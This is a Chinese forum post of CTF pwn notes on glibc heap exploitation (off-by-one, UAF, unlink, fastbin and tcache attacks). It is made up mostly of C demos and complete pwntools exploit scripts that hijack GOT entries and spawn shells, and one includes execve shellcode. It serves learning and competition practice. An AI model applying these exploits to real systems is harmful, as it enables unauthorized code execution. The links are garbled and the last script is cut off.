首页
社区
课程
招聘
[分享]pwn部分简单堆利用记录
发表于: 2021-10-22 18:57 22115

[分享]pwn部分简单堆利用记录

2021-10-22 18:57
22115

记录内容借鉴来源32aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2&6N6i4q4#2k6g2)9J5k6h3y4G2L8g2)9J5c8X3y4&6j5X3g2J5j5h3&6Y4k6h3I4Q4x3V1k6J5k6K6W2Y4k6r3#2Q4x3V1k6$3M7$3R3K6K9$3b7`.

溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)

可以造成堆重叠的效果这里就联合overlap,extend一起记录

demo

demo

demo

demo

demo

以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk

就可以控制pre_size同时配合off漏洞控制insure。

037K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3j5%4c8X3i4K6u0V1j5$3S2S2L8r3I4W2L8X3N6W2M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6H3N6$3&6Q4x3V1k6Z5k6h3q4H3i4K6u0r3j5$3S2#2L8X3E0Q4x3X3c8W2P5s2c8W2L8X3c8Q4x3X3c8K6K9s2u0A6L8X3E0Q4x3V1k6Z5K9i4c8U0L8$3&6@1M7X3q4F1K9h3&6Y4i4K6g2X3L8r3q4T1x3e0x3`.

off by one 漏洞

题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效

指针指向内容chunk,

我们利用off by one构造overlap形成堆复用,控制有效指针

exp

由于free后未置空指针,导致的use after free

亦或是,因为在heaparry中含有free or not的标识,但是功能中

含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)

由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用

附件下载:
链接:fe5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4z5g2y4@1P5Y4m8%4K9i4A6h3j5X3g2&6e0V1g2U0h3e0b7^5h3r3y4r3f1b7`.`.
提取码:oqlh

unlink的公式如下

fd=point_addr-0x18

bk=point_addr-0x10

伪造chunk成功后会在下两次申请到的chunk申请到point_addr

以2014 HITCON stkof为例进行讲解:
00fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3j5%4c8X3i4K6u0V1j5$3S2S2L8r3I4W2L8X3N6W2M7#2)9J5c8Y4c8J5k6h3g2Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6H3N6$3&6Q4x3V1k6Z5k6h3q4H3i4K6u0r3N6h3&6D9K9h3&6C8i4K6u0r3x3U0l9I4y4q4)9#2k6X3S2A6N6r3y4G2L8W2)9#2k6Y4y4@1K9$3!0X3
参考资料:
91cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3y4o6p5J5x3o6t1J5x3K6N6Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3z5o6b7^5x3e0R3^5z5b7`.`. #主要思路
965K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4P5Y4c8Q4x3X3g2S2j5#2)9J5k6h3y4F1i4K6u0r3x3U0l9I4z5q4)9J5c8U0p5H3i4K6u0r3x3e0k6Q4x3V1k6K6i4K6u0V1M7s2N6F1i4K6u0V1M7s2u0G2K9X3g2U0N6q4)9J5k6o6c8Q4x3V1j5`. #payload来源
感谢@hollk师傅的文章
附件下载:
链接:bb1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6q4S2f1j5f1I4S2K9V1k6t1k6p5E0n7x3p5!0X3P5r3&6C8z5q4j5@1f1b7`.`.
提取码:z4p6

题目本身在edit的时候存在堆溢出,但是没有show所以需要构造

exp如下

demo

以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:16eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9s2A6^5x3o6t1H3i4K6u0r3f1X3g2V1K9i4u0W2j5%4b7`.
参考资料:362K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3q4F1P5s2g2S2L8X3u0D9K9h3&6Y4j5X3I4A6L8X3N6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8X3y4@1k6W2)9J5c8Y4m8%4L8W2)9J5c8U0t1H3x3U0m8Q4x3V1j5H3x3W2)9J5c8U0l9J5i4K6u0r3M7r3q4H3k6i4u0Q4x3V1j5`.
附件下载:
链接:0a8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4M7p5u0^5j5#2)9#2k6W2)9J5k6o6S2H3M7f1A6J5z5f1#2d9L8p5p5J5b7i4k6^5d9q4p5`.
提取码:2onz

简单题,给了后门,更改got表为后门地址,利用double更改指针就行了

epx

1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。

lctf2016_pwn200 2bbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8W2k6g2)9J5k6h3y4G2L8g2)9J5c8V1I4A6k6$3S2@1d9h3&6X3k6h3y4@1K9h3!0F1i4K6u0r3j5%4c8X3i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7R3`.`.

exp

在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp

我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode

非常好的一道堆栈结合

参考资料:923K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2P5o6p5H3M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3K9r3g2S2M7q4)9J5c8X3k6S2M7%4c8T1K9h3&6Q4y4h3k6S2N6s2c8S2j5$3E0Q4x3V1k6Q4x3U0y4S2L8r3I4G2j5#2)9J5k6s2c8G2i4K6u0V1M7%4c8S2j5$3D9`.
ad8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4y4o6V1H3
附件下载:
链接: 7dfK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4k6s2m8D9f1q4)9#2k6V1A6C8f1$3c8D9z5f1@1%4c8U0W2K6g2f1g2p5g2X3g2c8 密码: mbht
--来自百度网盘超级会员V3的分享

参考资料:
c2bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9h3E0A6i4K6u0W2P5o6p5H3M7$3g2U0i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3K9r3g2S2M7q4)9J5c8X3k6S2M7%4c8T1K9h3&6Q4y4h3k6S2N6s2c8S2j5$3E0Q4x3V1k6Q4x3U0y4S2M7X3u0A6N6s2u0S2M7Y4W2Q4x3X3c8S2L8r3I4G2j5H3`.`.
附件:
链接: 2b4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4z5s2q4X3K9@1!0y4j5i4g2$3P5g2y4e0k6V1S2C8f1@1I4B7d9i4k6$3f1b7`.`. 密码: 911k
--来自百度网盘超级会员V3的分享

fastbin_attack中的Arbitrary Alloc(例题)

题目来源:0ctf 2017 BabyHeap
参考资料:
48dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3x3K6j5@1z5e0f1I4x3o6c8Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3y4U0t1H3x3U0p5K6y4b7`.`. #思路
CTF-wiki
a52K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2&6N6i4q4#2k6g2)9J5k6h3y4G2L8g2)9J5c8X3S2^5k6Y4q4Y4z5g2)9J5c8X3u0A6L8W2)9J5c8X3u0H3z5e0N6J5K9g2)9J5x3%4y4w2g2#2S2K9 #payload
d25K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3y4G2N6h3&6K6k6h3I4D9L8%4u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0R3I4y4e0b7K6x3e0V1%4 #关闭地址随机化

附件:
链接: 0bdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6f1M7J5j5$3k6c8j5h3f1H3K9i4N6g2e0s2c8k6N6W2u0E0c8f1u0u0N6H3`.`. 密码: f1i6
--来自百度网盘超级会员V3的分享

漏洞在edit存在堆溢出,堆溢出,打fastbin

exp

题目来源:HITCON Training lab14 magic heap
附件:
链接: 77eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4P5s2c8^5k6$3!0T1j5i4c8q4z5i4W2i4c8V1E0C8c8i4y4x3y4V1A6x3k6H3`.`. 密码: 44km
--来自百度网盘超级会员V3的分享

白给题堆溢出,没开PIE直接打unsortedbin改bk

exp

tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。

demo

参考资料:
05aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3j5i4u0S2P5W2)9J5k6h3k6S2K9i4c8Z5i4K6u0r3x3U0l9I4z5g2)9J5k6o6p5H3i4K6u0V1x3U0m8Q4x3X3c8K6k6h3y4U0L8$3&6U0N6r3k6Q4x3X3b7J5x3o6p5&6i4K6u0V1L8$3&6W2i4K6u0r3
aebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0c8f1y4o6e0@1&6Q4x3V1k6e0c8f1y4o6e0@1^5J5x3o6p5&6i4K6g2X3L8$3&6D9K9h3&6W2i4K6g2X3b7#2c8r3
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:3efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4L8V1c8W2k6e0W2n7h3U0q4d9e0h3S2D9x3$3u0X3K9V1S2b7f1$3A6K6b7b7`.`. 密码: 8qjs
--来自百度网盘超级会员V3的分享

题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok

直接改fd控制unsortedbin泄露libc打free_hook

exp

参考资料:
914K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3g2r3S2W2k6X3k6@1K9q4)9J5k6r3u0D9L8$3N6Q4x3V1k6H3i4K6u0r3x3e0t1%4z5e0l9%4x3U0m8Q4x3X3g2Z5N6r3#2D9
8efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4N6W2K9i4S2A6L8W2)9#2k6U0b7K6z5o6x3K6y4U0b7J5i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3o6M7I4y4U0j5#2y4e0p5`.
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:4afK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4g2o6q4H3g2W2)9#2k6X3#2T1g2f1g2b7h3p5y4Y4i4K6u0V1N6X3I4#2i4K6g2X3h3i4M7%4N6H3`.`. 密码: 5fnk
--来自百度网盘超级会员V3的分享

chunk大小小于0x100

UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩

exp

 
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
    void *p, *q;
    p = malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
    free(p);
    q = malloc(0x30);// 实现extend,控制了第二个块的内容
    return 0;
}
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
    void *p, *q;
    p = malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
    free(p);
    q = malloc(0x30);// 实现extend,控制了第二个块的内容
    return 0;
}
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
    void *p, *q;
    p = malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(long *)((long)p-0x8) = 0xb1;
    free(p);
    q = malloc(0xa0);
}
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
    void *p, *q;
    p = malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(long *)((long)p-0x8) = 0xb1;
    free(p);
    q = malloc(0xa0);
}
//gcc -g test3 -o test3
 #include<stdio.h>
 int main()
 {
    void *p, *q;
    p = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(p);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)p - 0x8) = 0xb1;
    q = malloc(0xa0);
}
//gcc -g test3 -o test3
 #include<stdio.h>
 int main()
 {
    void *p, *q;
    p = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(p);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)p - 0x8) = 0xb1;
    q = malloc(0xa0);
}
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
    void *p, *q;
    p = malloc(0x80);//分配第10x80 的chunk1
    malloc(0x10); //分配第20x10 的chunk2
    malloc(0x10); //分配第30x10 的chunk3
    malloc(0x10); //分配第40x10 的chunk4   
    *(long *)((long)p - 0x8) = 0x61;
    free(p);
    q = malloc(0x50);
}
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
    void *p, *q;
    p = malloc(0x80);//分配第10x80 的chunk1
    malloc(0x10); //分配第20x10 的chunk2
    malloc(0x10); //分配第30x10 的chunk3
    malloc(0x10); //分配第40x10 的chunk4   
    *(long *)((long)p - 0x8) = 0x61;
    free(p);
    q = malloc(0x50);
}
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
    void *p, *q, *r, *t;
    p = malloc(128);//smallbin1
    q = malloc(0x10);//fastbin1
    r = malloc(0x10);//fastbin2
    t = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(p);
    *(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
    free(t);//unlink进行前向extend
    malloc(0x150);//占位块
}
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
    void *p, *q, *r, *t;
    p = malloc(128);//smallbin1
    q = malloc(0x10);//fastbin1
    r = malloc(0x10);//fastbin2
    t = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(p);
    *(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
    free(t);//unlink进行前向extend
    malloc(0x150);//占位块
}
 
 
 
 
 
 
from pwn import *
context(log_level='DEBUG')
 
p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
 
def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
 
def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)
 
 
def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
create(0x18, "hollk"
create(0x10, "hollk"
 
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
 
delete(1)
 
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])) 
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
 
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
 
edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()
from pwn import *
context(log_level='DEBUG')
 
p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
 
def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
 
def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)
 
 
def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
create(0x18, "hollk"
create(0x10, "hollk"
 
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
 
delete(1)
 
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])) 
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
 
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
 
edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()
 
 
 
 
 
 
 
 
 
 
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
 
 
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
 
 
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
 
 
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
 
 
def exp():
    # trigger to malloc buffer for io function
    alloc(0x100# idx 1
 
    alloc(0x30# idx 2
    # small chunk size inorder to trigger unlink
    alloc(0x80# idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0#prev_size
    payload += p64(0x20#size
    payload += p64(head + 16 - 0x18#fd
    payload += p64(head + 16 - 0x10#bk
    payload += p64(0x20# next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
 
    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
 
 
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
 
 
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
 
 
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
 
 
def exp():
    # trigger to malloc buffer for io function
    alloc(0x100# idx 1
 
    alloc(0x30# idx 2
    # small chunk size inorder to trigger unlink
    alloc(0x80# idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0#prev_size
    payload += p64(0x20#size
    payload += p64(head + 16 - 0x18#fd
    payload += p64(head + 16 - 0x10#bk
    payload += p64(0x20# next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
 
    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()
#include<stdio.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk; 
} CHUNK,*PCHUNK;
 
CHUNK bss_chunk;
 
int main()
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
 
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
 
    free(chunk1);
    free(chunk2);
    free(chunk1);
 
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p\n",chunk_b);
    return 0;
}
#include<stdio.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk; 
} CHUNK,*PCHUNK;
 
CHUNK bss_chunk;
 
int main()
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
 
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
 
    free(chunk1);
    free(chunk2);
    free(chunk1);
 
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p\n",chunk_b);
    return 0;
}
 
 
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
 
myelf = ELF("./paper")
io = process(myelf.path)
 
def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)
 
def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
 
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
 
#gdb.attach(io)
 
del_paper(1)
del_paper(2)
del_paper(1)
 
#gdb.attach(io)
 
add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)
 
io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
 
myelf = ELF("./paper")
io = process(myelf.path)
 
def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)
 
def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
 
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
 
#gdb.attach(io)
 
del_paper(1)
del_paper(2)
del_paper(1)
 
#gdb.attach(io)
 
add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)
 
io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()
 
 
 
 
#encoding:utf-8
from pwn import *
 
#r = remote('127.0.0.1', 6666)
p = process("./pwn200")
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
def pwn():
    # gdb.attach(p, "b *0x400991")
 
    data = shellcode.ljust(46, 'a')
    data += 'bb'
    p.send(data)
    p.recvuntil('bb')
    rbp_addr = p.recvuntil(', w')[:-3]
    rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
    print hex(rbp_addr)
 
    fake_addr = rbp_addr - 0x90
    shellcode_addr = rbp_addr - 0x50
    # 输入id伪造下一个堆块的size
    p.recvuntil('id ~~?')
    p.sendline('32')
 
    p.recvuntil('money~')
    data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
    data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
    p.send(data)
 
    p.recvuntil('choice : ')
    p.sendline('2') # 释放伪堆块进入fastbin
 
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('long?')
    p.sendline('48')
    p.recvuntil('\n48\n') # 将伪堆块申请出来
